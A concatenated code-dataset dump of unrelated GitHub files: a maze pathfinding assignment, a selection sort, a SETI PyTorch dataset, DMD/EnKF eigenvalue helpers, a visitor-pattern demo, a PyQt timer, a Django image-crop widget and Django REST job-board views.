eh_mapa_valido(maze, unidades) \r\n        eh_posicao (posicao)\r\n    except ValueError:\r\n        raise ValueError ('obter_caminho: algum dos argumentos e invalido')    \r\n    if not eh_mapa_valido(maze,unidades) or (posicao not in unidades): #verificar validade dos argumentos\r\n        raise ValueError ('obter_caminho: algum dos argumentos e invalido')\r\n    \r\n    #algoritmo\r\n    lista_exploracao = [(posicao), ()]\r\n    posicoes_visitadas = ()\r\n    \r\n    if obter_objetivos (maze, unidades, posicao) == (): #se a unidade ja estiver numa das posicoes de objetivo o caminho e ()\r\n        return ()\r\n    \r\n    while lista_exploracao:\r\n        posicao_atual = lista_exploracao[0]\r\n        caminho_atual = lista_exploracao[1]\r\n        \r\n        if posicao_atual not in posicoes_visitadas: #marcar posicao como visitada se ainda nao o for\r\n            posicoes_visitadas += (posicao_atual,)\r\n            caminho_atual += (posicao_atual,)\r\n            \r\n            if posicao_atual in obter_objetivos (maze, unidades, posicao): #se chegou a um dos objetivos acaba\r\n                return caminho_atual\r\n            else:\r\n                for posicao_adjacente in posicoes_adjacentes (posicao_atual):\r\n                    if eh_posicao_livre(maze, unidades, posicao_adjacente): #se posicao adjacente da atual for valida adicionar a lista de exploracao essa posicao e o percurso ate la\r\n                        lista_exploracao += (posicao_adjacente,) + (caminho_atual,)\r\n                        \r\n        del lista_exploracao[1] #apagar o que ja foi percorrido da lista para passar a proxima hipotese\r\n        del lista_exploracao[0]       \r\n        \r\n    return ()\r\n        \r\n\r\n\r\n\r\ndef mover_unidade (maze, unidades, posicao):\r\n    \r\n    #verificar erros\r\n    try:\r\n        eh_mapa_valido(maze, unidades)\r\n        eh_posicao (posicao)\r\n    except ValueError:\r\n        raise ValueError ('mover_unidade: algum dos argumentos e invalido')\r\n    if not eh_mapa_valido (maze, unidades) or (posicao not in unidades):\r\n        raise ValueError ('mover_unidade: algum dos argumentos e invalido')\r\n    \r\n    novas_unidades = ()\r\n    \r\n    if obter_caminho(maze, unidades, posicao) == (): #se nao houver caminho nao fazer alteracao nenhuma a unidades\r\n        return unidades\r\n    \r\n    for u in unidades: \r\n        if u in posicoes_adjacentes (posicao): #se a unidade ja estiver num dos objetivos nao sofre alteracao nenhuma\r\n            return unidades\r\n        elif u != posicao:\r\n            novas_unidades += (u,) #se a posicao nao corresponder entao adiciona se a novas unidades\r\n        elif u == posicao:\r\n            novas_unidades += (obter_caminho(maze, unidades, posicao)[1],) #se a unidade for a posicao entao substitui se pelo passo seguinte do caminho\r\n            \r\n    return novas_unidades\r\n","repo_name":"mara-alves/LEIC-A-IST","sub_path":"FP/Proj1/Proj1.py","file_name":"Proj1.py","file_ext":"py","file_size_in_byte":10999,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"74557495141","text":"l=list(map(int,input().split()))\nfor i in range(len(l)):\n    temp=l[i]\n    index=i\n    for j in range(i,len(l)):\n        if(l[j]<temp):\n            temp=l[j]\n            index=j\n    l[i],l[index]=l[index],l[i]\nprint(l)","repo_name":"dhiru909/dsa_in_cpp","sub_path":"starters/selection_sort.py","file_name":"selection_sort.py","file_ext":"py","file_size_in_byte":218,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"23775893864","text":"import torch \nfrom config import * \n\nimport pandas as pd \nimport numpy as np\n\nimport albumentations as A \nimport cv2\n\nclass SetiDataset(torch.utils.data.Dataset):\n\n    def __init__(self, df, augmentations=None):\n        self.df = df\n        self.augmentations = augmentations\n        \n    def __len__(self):\n        return len(self.df)\n\n    def __getitem__(self, idx):\n\n        row = self.df.iloc[idx]\n        filepath = \"/content/train/{}/{}.npy\".format(row.id[0], row.id)\n        image = np.load(filepath)\n        #image = image[::2]\n        image = image.astype(np.float32)\n        #image = np.vstack(image).transpose((1, 0)) \n\n        if self.augmentations:\n            image = self.augmentations(image = image)['image']\n        else:\n            #image = image[np.newaxis,:,:]\n            image = torch.from_numpy(image).float()\n\n        label = torch.unsqueeze(torch.tensor(row.target).float(),-1)\n\n        return {\n            'images' : image,\n            'labels' : label\n        }","repo_name":"parth1620/Kaggle-SETI-Breakthrough-Listen--E.T.-Signal-Search","sub_path":"src/dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":990,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"70693134500","text":"import numpy as np\nimport pydmd\nfrom DMDEnKF.classes.online_dmd import OnlineDMD\nfrom DMDEnKF.classes.DMDEnKF import  TDMD, DMDEnKF\nimport cmath\n\n\n'''\n\nHelper functions for the simple sin example, the first case in the synthetic applications section of the DMDEnKF paper\n\n'''\n\n\ndef generate_data(thetas):\n    \"\"\"\n    Generate data starting from (1,0) using a rotation matrix of angle theta, with theta specified at each timestep in the list\n\n    Parameters\n    ----------\n    thetas : list\n        List of angles to rotate by at each timestep\n        \n    Returns\n    -------\n    data : numpy.array\n        The data generated by the rotation matrices\n    \"\"\"\n    \n    #generate data starting from (1,0) and applying 2D rotation matrix of angle theta for each theta in the list of thetas\n    state = np.array([[1],[0]])\n    states = [state]\n    for theta in thetas:\n        A = np.array([[np.cos(theta),-np.sin(theta)],[np.sin(theta),np.cos(theta)]])\n        state = A@state\n        states.append(state)\n    return np.array(states)\n\n\ndef iterate_streaming_tdmd(data):\n    \"\"\"\n    Apply streaming total DMD over each data point received\n\n    Parameters\n    ----------\n    data : list\n        List of measurements to perform Streaming TDMD over\n        \n    Returns\n    -------\n    eigs : list\n        A list of the most dominant eigenvalue (largest absolute value) at each timestep\n    \"\"\"\n    \n    #Applys TDMD over the first data points, adding a new data point each step until all data has had TDMD applied to it\n    #returns num_data -1 eigs that should be aligned with the tail end of the data\n    eigs = []\n    for i in range(2,len(data)+1):\n        pdmd = pydmd.DMD(2,2)\n        pdmd.fit(data[:i])\n        eig = pdmd.eigs\n        abs_eigs = [abs(e) for e in eig]\n        dom_eig_index = abs_eigs.index(np.max(abs_eigs))\n        eigs.append(eig[dom_eig_index])\n    return eigs\n\n\ndef windowed_tdmd(data,window_size):\n    \"\"\"\n    Applies Windowed TDMD with a sliding window over all the data received\n\n    Parameters\n    ----------\n    data : list\n        List of measurements to perform Windowed TDMD over\n    window_size : int\n        The size of the sliding windowed to use for Windowed TDMD\n        \n    Returns\n    -------\n    eigs : list\n        A list of the most dominant eigenvalue (largest absolute value) at each timestep\n    \"\"\"\n    \n    #Applies windowed TDMD with specified window size\n    #also should be backwards aligned\n    eigs = []\n    for i in range(window_size,len(data)+1):\n        pdmd = pydmd.DMD(2,2)\n        pdmd.fit(data[i-window_size:i])\n        eig = pdmd.eigs\n        abs_eigs = [abs(e) for e in eig]\n        dom_eig_index = abs_eigs.index(np.max(abs_eigs))\n        eigs.append(eig[dom_eig_index])\n    return eigs\n\n\ndef iterate_odmd(data,rho):\n    \"\"\"\n    Applies Online DMD with exponentially decaying importance over all the data received \n\n    Parameters\n    ----------\n    data : list\n        List of measurements to perform Online DMD over\n    rho : float\n        Float between 0-1 that governs the rate of decay in the importance weighting of data from previous timesteps\n        \n    Returns\n    -------\n    eigs : list\n        A list of the most dominant eigenvalue (largest absolute value) at each timestep\n    \"\"\"\n    \n    #applys Online DMD over the data with exponentially decayed weighting rho\n    eigs = []\n    data= np.squeeze(data)\n    odmd = OnlineDMD(2,rho)\n    odmd.initialize(data[:2],data[1:3])\n    odmd.initializeghost()\n    eig,_ = odmd.computemodes()\n    eigs.append(eig[0])\n    for i in range(2,len(data)-1):\n        odmd.update(data[i:i+1].T,data[i+1:i+2].T)\n        eig,_ = odmd.computemodes()\n        abs_eigs = [abs(e) for e in eig]\n        dom_eig_index = abs_eigs.index(np.max(abs_eigs))\n        eigs.append(eig[dom_eig_index])\n    return eigs\n\n\ndef apply_dmdenkf(data,num_for_spin_up,system_cov_const,obs_cov_const,eig_cov_const,ensemble_size = 100):\n    \"\"\"\n    Initialises the DMDEnKF, and fits it to the provided data\n\n    Parameters\n    ----------\n    data : numpy.array\n        Measurements to fit the DMDEnKF to\n    num_for_spin_up : int\n        Number of measurements to use training the DMD model in the spin-up phase\n    system_cov_const : float\n        Float that governs the size of the system state uncertainty covariance matrix (used in filtering step)\n    obs_cov_const : float\n        Float that governs the size of the measurement uncertainty covariance matrix (used in filtering step)\n    eig_cov_const : float\n        Float that governs the size of the system eigenvalue uncertainty covariance matrix (used in filtering step)\n    ensemble_size : int\n        Number of ensemble members to use in the EnKF (default 100)\n    \n    Returns\n    -------\n    dmdenkf : DMDEnKF.DMDEnKF\n        A fitted DMDEnKF object, with all relevant info to make reconstructions/predictions stored attributes\n    \"\"\"\n    \n    #Sets up the DMDEnKF wiht relevant matrices, fits and returns full filter\n    #DMD Joint EnKF\n    f = TDMD()\n    f.fit(data[:,:num_for_spin_up],r=2)\n\n    #Usual dmdenkf setup of inputs\n    x_len = f.data.shape[0]\n    e_len = f.E.shape[0]\n    observation_operator = np.hstack((np.identity(x_len),np.zeros((x_len,e_len))))\n    system_cov = np.diag([system_cov_const]*x_len + [eig_cov_const]*e_len)\n    observation_cov = obs_cov_const * np.identity(x_len)\n    #P0 = np.diag([system_cov_const]*x_len + [eig_cov_const]*e_len)\n    P0 = np.real(np.cov(f.Y-(f.DMD_modes@np.diag(f.E)@np.linalg.pinv(f.DMD_modes)@f.X)))\n    P0 = np.block([[P0,np.zeros([x_len,e_len])],[np.zeros([e_len,x_len]),np.diag([eig_cov_const]*e_len)]])\n    Y = data[:,num_for_spin_up:]\n    #Fit DMDEnKF\n    dmdenkf = DMDEnKF(observation_operator=observation_operator, system_cov=system_cov,\n                          observation_cov=observation_cov,P0=P0,DMD=f,ensemble_size=ensemble_size,Y=None)\n    dmdenkf.fit(Y=Y)\n    #return dmdenkf\n    return dmdenkf\n\n\ndef hankelify(data, hankel_dim):\n    \"\"\"\n    Stacks the provided data to produce a time-delay embedding\n\n    Parameters\n    ----------\n    data : numpy.array\n        Measurements to time-delay embed\n    hankel_dim : int\n        How many timesteps to use in the delay embedding\n    \n    Returns\n    -------\n    hankel_data : numpy.array\n        time-delay embedded data\n    \"\"\"\n       \n    #stacks data so that matrix structure is col1: [x1,...,xhankel], col2: [x2,...,xhankel+1], etc\n    hankel_list = [data[:,i:-hankel_dim + i + 1] if i+1 != hankel_dim else data[:,i:] for i in range(hankel_dim)]\n    hankel_data = np.vstack(list(reversed(hankel_list)))\n    return hankel_data\n\n\ndef apply_hankel_dmdenkf(data, num_for_spin_up,hankel_dim,system_cov_const,obs_cov_const,eig_cov_const,ensemble_size = 100):\n    \"\"\"\n    Initialises the Hankel-DMDEnKF, and fits it to the provided data\n\n    Parameters\n    ----------\n    data : numpy.array\n        Measurements to fit the Hankel-DMDEnKF to\n    num_for_spin_up : int\n        Number of measurements to use training the DMD model in the spin-up phase\n    hankel_dim : int\n        Number of timesteps to stack in the time-delay embedded data\n    system_cov_const : float\n        Float that governs the size of the system state uncertainty covariance matrix (used in filtering step)\n    obs_cov_const : float\n        Float that governs the size of the measurement uncertainty covariance matrix (used in filtering step)\n    eig_cov_const : float\n        Float that governs the size of the system eigenvalue uncertainty covariance matrix (used in filtering step)\n    ensemble_size : int\n        Number of ensemble members to use in the EnKF (default 100)\n    \n    Returns\n    -------\n    test_dmdenkf : DMDEnKF.DMDEnKF\n        A Hankel-DMDEnKF object fitted to the delay-embedded data,\n        with all relevant info to make reconstructions/predictions stored attributes\n    \"\"\"\n    \n    #Sets up the DMDEnKF wiht relevant matrices, fits and returns full filter\n    hankel_data = hankelify(data,hankel_dim)\n    #DMD Joint EnKF\n    f = TDMD()\n    f.fit(hankel_data[:,:num_for_spin_up-(hankel_dim-1)],r=2)\n\n    #Usual hankel dmdenkf setup of inputs\n    x_len = hankel_data.shape[0]\n    data_x_len = data.shape[0]\n    e_len = f.E.shape[0]\n    observation_operator = np.hstack((np.identity(data_x_len),np.zeros((data_x_len,x_len - data_x_len + e_len))))\n    system_cov = np.diag([system_cov_const]*x_len + [eig_cov_const]*e_len)\n    observation_cov = obs_cov_const * np.identity(data_x_len)\n    P0 = np.real(np.cov(f.Y-(f.DMD_modes@np.diag(f.E)@f.inv_DMD_modes@f.X)))\n    P0 = np.block([[P0,np.zeros([x_len,e_len])],[np.zeros([e_len,x_len]),np.diag([eig_cov_const]*e_len)]])\n    #alternative initial covariance that is simply diagonal with state cov const and eig cov const used appropriately\n    #P0 = np.diag([system_cov_const]*x_len + [eig_cov_const]*e_len)\n    Y = data[:,num_for_spin_up:]\n    #fit Hankel DMDEnKF\n    test_dmdenkf = DMDEnKF(observation_operator=observation_operator, system_cov=system_cov,\n                          observation_cov=observation_cov,P0=P0,DMD=f,ensemble_size=ensemble_size,Y=None)\n    test_dmdenkf.fit(Y=Y)\n    #return dmdenkf\n    return test_dmdenkf\n\n\n#Generate Error Distributions over multiple runs\ndef dist_from_true_data(true_eigs,eigs):\n    \"\"\"\n    Simple helper function that takes true eigenvalues from the estimated ones (to avoid sign switiching when code repeated)\n\n    Parameters\n    ----------\n    true_eigs : float\n        Real eigenvalues (modulus or argument)\n    eigs : float\n        Estimated eigenvalues (modulus or argument)\n    Returns\n    -------\n    eig_difference : float\n        Esitmated eigs - True eigs\n    \"\"\"\n        \n    #Generate Error Distributions over multiple runs\n    return eigs - true_eigs\n\n\ndef run_trajectory(data,num_to_keep,num_for_spin_up,true_eigs,window_size,rho,obs_cov_const,system_cov_const,eig_cov_const, ensemble_size,hankel_dim):\n    \"\"\"\n    Fits each iterative DMD variant to the provided data, then returns their errors in the eigenvalue argument and modulus\n\n    Parameters\n    ----------\n    data : numpy.array\n        Measurements to fit the DMD variants to\n    num_to_keep : int\n        Number of dominant (largest modulus) eigenvalues to retain\n    num_for_spin_up : int\n        Number of measurements to use training the DMD model in the spin-up phase\n    true_eigs : list\n        Systems real eigenvalues\n    window_size : int\n        Number of timesteps to use in Windowed TDMD sliding window\n    rho : float\n        Between 0-1, exponential decay factor for the importance weighting applied to previous timesteps\n    obs_cov_const : float\n        Float that governs the size of the measurement uncertainty covariance matrix (used in filtering step)\n    system_cov_const : float\n        Float that governs the size of the system state uncertainty covariance matrix (used in filtering step)\n    eig_cov_const : float\n        Float that governs the size of the system eigenvalue uncertainty covariance matrix (used in filtering step)\n    ensemble_size : int\n        Number of ensemble members to use in the EnKF (default 100)\n    hankel_dim : int\n        Number of timesteps to stack in the time-delay embedded data\n    \n    Returns\n    -------\n    DMD argument distributions : numpy.array\n        Array containing the errors in eigenvalue argument for STDMD, WTDMD, ODMD, DMDEnKF and Hankel-DMDEnKF\n    DMD modulus distributions : numpy.array\n        Array containing the errors in eigenvalue modulus for STDMD, WTDMD, ODMD, DMDEnKF and Hankel-DMDEnKF\n    \"\"\"\n    \n    #fit each model, then return the errors in their args and modulus\n    #estimate eigenvalues using a variety of iterative methods\n    streaming_tdmd_eigs = iterate_streaming_tdmd(data)\n    streaming_tdmd_mods = [abs(x)-1 for x in streaming_tdmd_eigs][-num_to_keep:]\n    streaming_tdmd_periods = [cmath.polar(x)[1] for x in streaming_tdmd_eigs][-num_to_keep:]\n    windowed_tdmd_eigs = windowed_tdmd(data,window_size)\n    windowed_tdmd_mods = [abs(x)-1 for x in windowed_tdmd_eigs][-num_to_keep:]\n    windowed_tdmd_periods = [cmath.polar(x)[1] for x in windowed_tdmd_eigs][-num_to_keep:]\n    odmd_eigs = iterate_odmd(data, rho)\n    odmd_mods = [abs(x)-1 for x in odmd_eigs][-num_to_keep:]\n    odmd_periods = [cmath.polar(x)[1] for x in odmd_eigs][-num_to_keep:]\n    #squeeze data to make into standard format (legacy code from the ghost of bad codemas past)\n    data = np.squeeze(data).T\n    dmdenkf = apply_dmdenkf(data,num_for_spin_up,system_cov_const,obs_cov_const,eig_cov_const,ensemble_size=ensemble_size)\n    #if model does not find a complex conjugate pair, use the dominant eig mod and arg of 0\n    if not dmdenkf.conj_pair_list:\n        dmdenkf_mods = [np.max(abs(x[-2:]))-1 for x in dmdenkf.X][-num_to_keep:]\n        dmdenkf_periods = [0]* num_to_keep\n    #otherwise record the mod and arg as standard\n    else:\n        dmdenkf_periods = [abs(x[-1]) for x in dmdenkf.X][-num_to_keep:]\n        dmdenkf_mods = [abs(x[-2])-1 for x in dmdenkf.X][-num_to_keep:]\n    hdmdenkf = apply_hankel_dmdenkf(data,num_for_spin_up,hankel_dim,system_cov_const,obs_cov_const,eig_cov_const,ensemble_size=ensemble_size)\n    #if model does not find a complex conjugate pair, use the dominant eig mod and arg of 0\n    if not hdmdenkf.conj_pair_list:\n        hdmdenkf_mods = [np.max(abs(x[-2:]))-1 for x in hdmdenkf.X][-num_to_keep:]\n        hdmdenkf_periods = [0]* num_to_keep\n    #otherwise record the mod and arg as standard\n    else:\n        hdmdenkf_periods = [abs(x[-1]) for x in hdmdenkf.X][-num_to_keep:]\n        hdmdenkf_mods = [abs(x[-2])-1 for x in hdmdenkf.X][-num_to_keep:]    \n    true_eigs = true_eigs[-num_to_keep:]\n    streaming_tdmd_dist = dist_from_true_data(true_eigs,streaming_tdmd_periods)\n    windowed_tdmd_dist = dist_from_true_data(true_eigs,windowed_tdmd_periods)\n    odmd_dist = dist_from_true_data(true_eigs,odmd_periods)\n    dmdenkf_dist = dist_from_true_data(true_eigs,dmdenkf_periods)\n    hdmdenkf_dist = dist_from_true_data(true_eigs,hdmdenkf_periods)\n    return np.array([streaming_tdmd_dist, windowed_tdmd_dist, odmd_dist, dmdenkf_dist, hdmdenkf_dist]),np.array([streaming_tdmd_mods,windowed_tdmd_mods,odmd_mods,dmdenkf_mods,hdmdenkf_mods])","repo_name":"falconical/DMDEnKF","sub_path":"DMDEnKF/helper_functions/simple_sin_functions.py","file_name":"simple_sin_functions.py","file_ext":"py","file_size_in_byte":14168,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"13764835592","text":"# !/usr/bin/env python\n# -*- coding: utf-8 -*-\n# 'author':'zlw'\n\n\n\"\"\"一个简单的实现访问者模式的程序\n此程序模拟不同角色对账本数据的访问。\n\"\"\"\n\n\nfrom src.object_structures import AccountBook\nfrom src.elements import (\n    Income,\n    Pay,\n)\nfrom src.visitors import (\n    Boss,\n    Manager,\n    Cashier,\n)\n\n\nif __name__ == '__main__':\n    # 实例化元素对象\n    income = Income()\n    pay = Pay()\n\n    # 实例化对象结构\n    account_book = AccountBook()\n    # 对象结构增加元素对象(为了可以遍历展示访问结果)\n    account_book.add(income)\n    account_book.add(pay)\n\n    # 实例化访问者\n    boss = Boss()\n    manager = Manager()\n    cashier = Cashier()\n\n    # 展示访问者对所有元素对象的访问结果\n    account_book.accept(boss)\n    account_book.accept(manager)\n    account_book.accept(cashier)\n\n    # 也可以针对某一个元素对象执行访问\n    pay.accept(manager)\n","repo_name":"zlw10100/blog","sub_path":"design_patterns/visitor/start.py","file_name":"start.py","file_ext":"py","file_size_in_byte":951,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"71990393381","text":"#!/usr/bin/env python3\n\nimport sys\nfrom PyQt5.QtCore import QCoreApplication, QTimer, QTime\n\nclass main(QCoreApplication):\n\tdef __init__(self, *args, **kwargs):\n\t\tsuper().__init__([])\n\n\t\tself.timer = QTimer()\n\t\tself.time = QTime(0, 0, 0)\n\n\t\tself.timer.timeout.connect(self.timerEvent)\n\t\tself.timer.start(1000)\n\t\tprint('Ctrl Z to quit')\n\n\tdef timerEvent(self):\n\t\tself.time = self.time.addSecs(1)\n\t\tprint(self.time.toString(\"hh:mm:ss\"), end = \"\\r\")\n\t\t#print (\"\\r Loading... {}\".format(i)+str(i), end=\"\")\n\nif __name__ == '__main__':\n\tapp = QCoreApplication(sys.argv)\n\tgui = main()\n\tsys.exit(app.exec_())\n\n\n","repo_name":"jethornton/pyqt5","sub_path":"QTimer/qtimer1.py","file_name":"qtimer1.py","file_ext":"py","file_size_in_byte":603,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"71294974822","text":"from django.utils.html import format_html, mark_safe\n\nfrom .base import BaseCroppieWidget\n\n\nclass CroppieWidget(BaseCroppieWidget):\n    \"\"\"\n        Widget for Django.VERSION < 11 as old versions\n        of django does not support templates in widgets.\n    \"\"\"\n\n    def render(self, name, value, attrs=None):\n        html = super(CroppieWidget, self).render(name, value, attrs)\n        html += format_html(\n            '<script type=\"text/javascript\">{}</script>',\n            self.make_script_vars(name),\n        )\n        return html\n\n    def make_script_vars(self, name):\n        context = self.process_croppie_context(name)\n        vars = 'var croppieFieldName = \"{}\"\\n var croppieOptions = {}' \\\n            .format(\n                context['croppie_field_name'],\n                context['croppie_options'],\n            )\n        return mark_safe(vars)\n","repo_name":"dima-kov/django-croppie","sub_path":"croppie/widgets/widgets_old.py","file_name":"widgets_old.py","file_ext":"py","file_size_in_byte":857,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"35"}
{"seq_id":"20065980358","text":"from django.shortcuts import render, get_object_or_404\nfrom rest_framework import status, filters, generics\nfrom rest_framework.response import Response\nfrom rest_framework.views import APIView\nfrom django.http import JsonResponse\nfrom django.http import HttpResponse\nfrom django.contrib import messages\nfrom django.contrib.auth.decorators import login_required\nfrom .serializers import *\nfrom Employers.models import *\nfrom Employers.api.serializers import *\nimport json\n\nclass AllJobSeekers(APIView):\n    serializer_class = JobSeekerSerializer\n\n    def get(self, request):\n        if request.method == 'GET':\n            jobSeekers = JobSeeker.objects.all()\n            serializer = JobSeekerSerializer(jobSeekers, many=True)\n            return Response(serializer.data)\n\nclass ApplicantCredentialsView(generics.GenericAPIView):\n    serializer_class = ApplicantCredentialSerializer\n\n    def get(self, request, id):\n        if request.method == 'GET':\n            if id:\n                applicant_credential = ApplicantCredential.objects.get(id=id)\n                serializer = ApplicantCredentialSerializer(applicant_credential)\n                if applicant_credential:\n                    return Response(serializer.data)\n                else:\n                    messages.error(request, \"This credential does not exist\")\n                    return Response(status=status.HTTP_404_NOT_FOUND)\n                \n    def put(self, request, id):\n        applicant_credential = ApplicantCredential.objects.get(id=id)\n        if applicant_credential:\n            serializer = ApplicantCredentialSerializer(applicant_credential, data=request.data, partial=True)\n            if serializer.is_valid():\n                serializer.save()\n                return Response(serializer.data)\n        else:\n            messages.error(request, \"This credential does not exist\")\n            return Response(status=status.HTTP_404_NOT_FOUND)\n        \n    def delete(self, request, id):\n        applicant_credential = get_object_or_404(ApplicantCredential, id=id)\n        data = {}\n        if applicant_credential:\n            applicant_credential.delete()\n            data['response'] = \"Credential Deleted\"\n            return Response(data, status=status.HTTP_200_OK)\n        else:\n            data['response'] = \"No credential\"\n            return Response(data, status=status.HTTP_204_NO_CONTENT)    \n\nclass JobSeekerView(generics.GenericAPIView):\n    serializer_class = JobSeekerSerializer\n\n    def get(self, request, id):\n        if request.method == \"GET\":\n            if id:\n                jobSeeker = JobSeeker.objects.get(id=id)\n                serializer = JobSeekerSerializer(jobSeeker)\n                if jobSeeker:\n                    return Response(serializer.data)\n                else:\n                    messages.error(request, \"This jobseeker does not exist\")\n                    return Response(status=status.HTTP_404_NOT_FOUND)\n\n    def put(self, request, id):\n        jobseeker = JobSeeker.objects.get(id=id)\n        if jobseeker:\n            serializer = JobSeekerSerializer(\n                jobseeker, data=request.data, partial=True)\n            if serializer.is_valid():\n                serializer.save()\n                return Response(serializer.data)\n            else:\n                return Response(serializer.error_messages)\n        else:\n            messages.error(request, \"This jobseeker does not exist\")\n            return Response(status=status.HTTP_404_NOT_FOUND)\n\n    def delete(self, request, id):\n        jobseeker = get_object_or_404(JobSeeker, id=id)\n        data = {}\n        if jobseeker:\n            jobseeker.delete()\n            data['response'] = \"Jobseeker Deleted\"\n            return Response(data, status=status.HTTP_200_OK)\n        else:\n            data['response'] = \"Please confirm your email address to complete the registration\"\n            return Response(data, status=status.HTTP_204_NO_CONTENT)\n\n\nclass AllJobApplications(generics.GenericAPIView):\n    serializer_class = JobApplicationSerializer\n\n    def get(self, request):\n        if request.method == 'GET':\n            job_application = JobApplication.objects.all()\n            serializer = JobApplicationSerializer(job_application, many=True)\n            return Response(serializer.data)\n\n\nclass getJobSeekerByUserId(APIView):\n    serializer_class = JobSeekerSerializer\n\n    def get(self, request, userid):\n        if request.method == \"GET\":\n            message = {}\n            if userid:\n                job_seeker = JobSeeker.objects.get(user=userid)\n                serializer = JobSeekerSerializer(job_seeker)\n                if job_seeker:\n                    message['response'] = \"Okay, you have tried\"\n                    return Response(serializer.data, status=status.HTTP_200_OK)\n                else:\n                    return Response(status=status.HTTP_404_NOT_FOUND)\n\n\nclass jobApp(generics.GenericAPIView):\n    serializer_class = CreateJobApplicationSerializer \n    # serializer_class = JobApplicationSerializer \n\n    def post(self, request, id):\n        if request.method == 'POST':\n            job = Job.objects.get(id=id)\n            data = request.data\n            serializer = self.serializer_class(\n                data=data, context={'request': request})\n            message = {}\n            if serializer.is_valid():\n                jobApplication = serializer.save()\n                message['response'] = \"Job application created\"\n                return Response(message, status=status.HTTP_201_CREATED)\n            else:\n                return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n\nclass JobApplicationView(generics.GenericAPIView):\n    serializer_class = JobApplicationSerializer\n\n    def get(self, request, id):\n        if request.method == \"GET\":\n            message = {}\n            if id:\n                job_application = JobApplication.objects.get(id=id)\n                serializer = JobApplicationSerializer(job_application)\n                if job_application:\n                    message['response'] = \"Okay, you have tried\"\n                    return Response(serializer.data)\n                else:\n                    return Response(status=status.HTTP_404_NOT_FOUND)\n\n    def delete(self, request, id):\n        job_application = get_object_or_404(JobApplication, id=id)\n        data = {}\n        if job_application:\n            job_application.delete()\n            data['response'] = \"Job Application Deleted\"\n            return Response(data, status=status.HTTP_200_OK)\n        else:\n            data['response'] = \"Unable to delete Job Application\"\n            return Response(data, status=status.HTTP_204_NO_CONTENT)\n\n\nclass GetJobApplicationByStatus(APIView):\n    serializer_class = JobApplicationSerializer\n\n    def get(self, request, applicationStatus):\n        if request.method == \"GET\":\n            message = {}\n            if status:\n                application = JobApplication.objects.filter(\n                    status=applicationStatus)\n                serializer = JobApplicationSerializer(application, many=True)\n                if application:\n                    message['response'] = \"Application found\"\n                    return Response(serializer.data, status=status.HTTP_200_OK)\n                else:\n                    message['response'] = \"No Application with status Found\"\n                    return Response(message, status=status.HTTP_404_NOT_FOUND)\n\n\nclass GetApplicationByJobSeekerId(APIView):\n    serializer_class = ViewJobApplicationSerializer\n\n    def get(self, request, job_seeker_id):\n        if request.method == \"GET\":\n            message = {}\n            if job_seeker_id:\n                application = JobApplication.objects.filter(\n                    job_seeker=job_seeker_id)\n                serializer = ViewJobApplicationSerializer(application, many=True)\n                if application:\n                    message['response'] = \"Application found\"\n                    return Response(serializer.data, status=status.HTTP_200_OK)\n                else:\n                    message['response'] = \"No Application with Jobseeker Found\"\n                    return Response(message, status=status.HTTP_404_NOT_FOUND)\n\n\nclass GetApplicationByJobId(APIView):\n    serializer_class = JobApplicationSerializer\n\n    def get(self, request, job_id):\n        if request.method == \"GET\":\n            message = {}\n            if job_id:\n                application = JobApplication.objects.filter(job=job_id)\n                serializer = JobApplicationSerializer(application, many=True)\n                if application:\n                    message['response'] = \"Application found\"\n                    return Response(serializer.data, status=status.HTTP_200_OK)\n                else:\n                    message['response'] = \"No Application with ID Found\"\n                    return Response(message, status=status.HTTP_404_NOT_FOUND)\n \n\n\n\nclass saveAJob(generics.GenericAPIView):\n    serializer_class = SavedJobSerializer\n\n    def post(self, request):\n        if request.method == 'POST':\n            serializer = self.serializer_class(\n                data=request.data, context={'request': request}\n            )\n            data = {}\n            if serializer.is_valid():\n                savedJob = serializer.save()\n                data['response'] = \"job saved\"\n                return Response(serializer.data, status.HTTP_200_OK)\n            else:\n                return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\nclass SavedJobsView(APIView):\n    serializer_class = ViewSavedJobsSerializer\n    \n#     def post (self, request, id):\n#         if request.method == 'POST':\n#             saved = SavedJob.objects.get(id=id)\n#             data = request.data\n#             serializer = self.serializer_class(data=data, context={'request': request})\n#             message = {}\n#             if serializer.is_valid():\n#                 saved = serializer.save()\n#                 message['response'] = \"Job Saved\"\n#                 return Response(message, status=status.HTTP_201_CREATED)\n#             else:\n#                 return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n            \n    def get(self, request, id):\n        if request.method == \"GET\":\n            if id:\n                saved = SavedJob.objects.get(id=id)\n                serializer = ViewSavedJobsSerializer(saved)\n                if saved:\n                    return Response(serializer.data)\n                else:\n                    messages.error(request, \"This job does not exist\")\n                    return Response(status=status.HTTP_404_NOT_FOUND)\n\nclass GetCredentialByJobSeeker(APIView):   \n    serializers_class = ApplicantCredentialSerializer\n\n    def get(self, request, job_seeker_id):\n        if request.method == \"GET\":\n            message = {}\n            if job_seeker_id:\n                credential = ApplicantCredential.objects.filter(job_seeker=job_seeker_id)\n                serializer = ApplicantCredentialSerializer(credential, many=True)\n                if credential:\n                    message['response'] = \"Credential found\"\n                    return Response(serializer.data, status=status.HTTP_200_OK)\n                else:\n                    message['response'] = \"No Credential with Jobseeker Found\"\n                    return Response(message, status=status.HTTP_404_NOT_FOUND)\nclass GetSavedJobsByJobSeeker(APIView):\n    serializer_class = ViewSavedJobsSerializer\n\n    def get(self, request, job_seeker_id):\n        if request.method == \"GET\":\n            message = {}\n            if job_seeker_id:\n                saved = SavedJob.objects.filter(job_seeker=job_seeker_id)\n                serializer = ViewSavedJobsSerializer(saved, many=True)\n                if saved:\n                    message['response'] = \"Saved Job(s) found\"\n                    return Response(serializer.data, status=status.HTTP_200_OK)\n                else:\n                    message['response'] = \"No Saved Jobs with Jobseeker Found\"\n                    return 